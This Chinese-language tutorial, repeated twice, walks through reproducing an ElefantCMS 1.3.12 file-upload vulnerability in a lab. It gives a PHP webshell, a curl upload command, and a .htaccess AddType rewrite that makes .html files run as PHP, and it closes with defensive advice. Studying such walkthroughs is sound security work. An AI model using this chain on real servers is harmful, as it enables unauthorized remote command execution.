从零复现ElefantCMS文件上传漏洞绕过.htaccess限制的实战指南第一次在渗透测试中遇到文件上传漏洞时那种兴奋感至今难忘。但更难忘的是上传成功后面对空白页面的那种困惑——明明上传了PHP文件为什么没有任何执行效果这正是ElefantCMS 1.3.12文件上传漏洞(CVE-2017-20063)的典型特征。本文将带你完整复现这个经典案例重点解决上传成功但无法执行的核心问题。1. 环境搭建与漏洞初探在开始之前我们需要准备以下环境靶机环境ElefantCMS 1.3.12可从Vulhub等漏洞环境库获取攻击机Kali Linux或任何具备curl/burpsuite的工具测试文件简单的PHP webshell如?php system($_GET[cmd]);?漏洞利用的入口点是/filemanager/upload/drop接口这个接口本应只允许管理员上传文件但由于权限校验不严未授权用户也可以直接访问。常见误区很多初学者会直接上传.php文件发现返回200就以为成功了其实这只是上传的第一步验证。真正的挑战在于如何让服务器执行这个文件。2. 上传测试与异常现象分析让我们先完成基础的上传测试curl -X POST -F fileshell.php http://target/filemanager/upload/drop如果返回HTTP 200状态码且没有错误信息说明文件上传成功。此时访问http://target/uploads/shell.php你可能会遇到以下两种情况空白页面没有任何输出查看源码也是空的PHP代码被原样显示就像查看文本文件一样这两种情况都说明服务器没有执行PHP代码。这时候就需要开始我们的侦探工作了。关键思考点文件确实上传成功了可以尝试上传txt文件验证服务器有PHP环境否则会提示下载文件问题很可能出在服务器配置上3. 深入排查发现.htaccess限制在真实渗透测试中遇到这种情况首先要考虑目录权限和服务器配置。ElefantCMS使用Apache服务器而Apache的.htaccess文件可以覆盖全局配置。尝试通过文件管理器查看当前目录http://target/filemanager/browse/uploads/如果能看到文件列表检查是否存在.htaccess文件。如果看不到返回403可以尝试以下方法直接访问http://target/uploads/.htaccess使用编辑功能http://target/filemanager/edit?file.htaccess在ElefantCMS中编辑功能往往比浏览功能有更宽松的权限控制。这也是这个漏洞利用链中的关键一环。典型.htaccess限制内容Options -Indexes php_flag engine off这两条指令分别表示禁止目录列表显示关闭PHP引擎执行4. 突破限制修改.htaccess配置既然发现了限制源头下一步就是修改它。通过编辑功能我们可以将.htaccess内容改为AddType application/x-httpd-php .html这个配置会让服务器把.html文件当作PHP来解析。这样我们就能绕过直接上传PHP文件的限制。操作步骤上传一个包含PHP代码的.html文件访问这个html文件代码将被执行例如上传test.html内容为?php system($_GET[cmd]); ?然后访问http://target/uploads/test.html?cmdid5. 完整利用链与防御建议完整的漏洞利用流程可以总结为上传任意文件测试上传功能发现PHP不执行时检查服务器配置利用编辑功能读取/修改.htaccess上传伪装成其他后缀的webshell获得代码执行能力防御措施及时更新CMS版本限制上传文件类型白名单方式禁用不必要的Apache覆盖功能AllowOverride None定期检查服务器配置文件这个案例典型地展示了渗透测试中发现问题-分析问题-解决问题的完整思维链条。记住真正的安全测试不在于使用现成的工具而在于理解系统工作原理并找到突破点。
手把手教你复现ElefantCMS 1.3.12文件上传漏洞(CVE-2017-20063),从空白页到getshell
从零复现ElefantCMS文件上传漏洞绕过.htaccess限制的实战指南第一次在渗透测试中遇到文件上传漏洞时那种兴奋感至今难忘。但更难忘的是上传成功后面对空白页面的那种困惑——明明上传了PHP文件为什么没有任何执行效果这正是ElefantCMS 1.3.12文件上传漏洞(CVE-2017-20063)的典型特征。本文将带你完整复现这个经典案例重点解决上传成功但无法执行的核心问题。1. 环境搭建与漏洞初探在开始之前我们需要准备以下环境靶机环境ElefantCMS 1.3.12可从Vulhub等漏洞环境库获取攻击机Kali Linux或任何具备curl/burpsuite的工具测试文件简单的PHP webshell如?php system($_GET[cmd]);?漏洞利用的入口点是/filemanager/upload/drop接口这个接口本应只允许管理员上传文件但由于权限校验不严未授权用户也可以直接访问。常见误区很多初学者会直接上传.php文件发现返回200就以为成功了其实这只是上传的第一步验证。真正的挑战在于如何让服务器执行这个文件。2. 上传测试与异常现象分析让我们先完成基础的上传测试curl -X POST -F fileshell.php http://target/filemanager/upload/drop如果返回HTTP 200状态码且没有错误信息说明文件上传成功。此时访问http://target/uploads/shell.php你可能会遇到以下两种情况空白页面没有任何输出查看源码也是空的PHP代码被原样显示就像查看文本文件一样这两种情况都说明服务器没有执行PHP代码。这时候就需要开始我们的侦探工作了。关键思考点文件确实上传成功了可以尝试上传txt文件验证服务器有PHP环境否则会提示下载文件问题很可能出在服务器配置上3. 深入排查发现.htaccess限制在真实渗透测试中遇到这种情况首先要考虑目录权限和服务器配置。ElefantCMS使用Apache服务器而Apache的.htaccess文件可以覆盖全局配置。尝试通过文件管理器查看当前目录http://target/filemanager/browse/uploads/如果能看到文件列表检查是否存在.htaccess文件。如果看不到返回403可以尝试以下方法直接访问http://target/uploads/.htaccess使用编辑功能http://target/filemanager/edit?file.htaccess在ElefantCMS中编辑功能往往比浏览功能有更宽松的权限控制。这也是这个漏洞利用链中的关键一环。典型.htaccess限制内容Options -Indexes php_flag engine off这两条指令分别表示禁止目录列表显示关闭PHP引擎执行4. 突破限制修改.htaccess配置既然发现了限制源头下一步就是修改它。通过编辑功能我们可以将.htaccess内容改为AddType application/x-httpd-php .html这个配置会让服务器把.html文件当作PHP来解析。这样我们就能绕过直接上传PHP文件的限制。操作步骤上传一个包含PHP代码的.html文件访问这个html文件代码将被执行例如上传test.html内容为?php system($_GET[cmd]); ?然后访问http://target/uploads/test.html?cmdid5. 完整利用链与防御建议完整的漏洞利用流程可以总结为上传任意文件测试上传功能发现PHP不执行时检查服务器配置利用编辑功能读取/修改.htaccess上传伪装成其他后缀的webshell获得代码执行能力防御措施及时更新CMS版本限制上传文件类型白名单方式禁用不必要的Apache覆盖功能AllowOverride None定期检查服务器配置文件这个案例典型地展示了渗透测试中发现问题-分析问题-解决问题的完整思维链条。记住真正的安全测试不在于使用现成的工具而在于理解系统工作原理并找到突破点。